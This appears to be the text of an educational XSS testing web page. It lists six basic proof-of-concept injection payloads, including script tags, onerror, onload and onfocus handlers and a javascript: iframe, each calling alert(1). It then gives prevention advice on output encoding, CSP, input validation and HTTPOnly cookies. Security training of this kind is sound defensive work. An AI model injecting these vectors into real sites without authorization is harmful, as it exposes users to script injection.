XSS Defense Testing Tool

Learn XSS vulnerabilities and test your application defenses with educational examples

Security Education Tool - XSS Prevention Training

This educational resource demonstrates Cross-Site Scripting (XSS) vulnerabilities to help developers, security professionals, and students understand these attacks and implement proper defenses including output encoding, Content Security Policy, and input validation.

For Authorized Security Testing and Education Only

This tool is designed for security education and authorized penetration testing only. You must only test systems you own or have explicit written authorization to test. Unauthorized testing is illegal and unethical. By using this tool, you agree to our Responsible Use Policy and Disclaimer.

Payload Categories

Basic Payloads

Simple Alert
Classic
<script>alert(1)</script>

Basic script injection

Image Onerror
Event
<img src=x onerror=alert(1)>

Uses image error event

SVG Onload
Event
<svg onload=alert(1)>

SVG element with onload

Body Onload
Event
<body onload=alert(1)>

Body element event handler

Input Onfocus
Event
<input onfocus=alert(1) autofocus>

Auto-triggering input

Iframe Src
Protocol
<iframe src="javascript:alert(1)">

JavaScript protocol in iframe

Custom Payload Builder

Payload Encoder

HTML Entity
-
URL Encoded
-
Unicode
-
Base64
-

XSS Prevention

Output Encoding

Encode user input before displaying: <, >, ", ', &

Content Security Policy

Implement CSP headers to restrict script execution sources

Input Validation

Validate and sanitize all user inputs on both client and server

HTTPOnly Cookies

Set cookies as HTTPOnly to prevent JavaScript access

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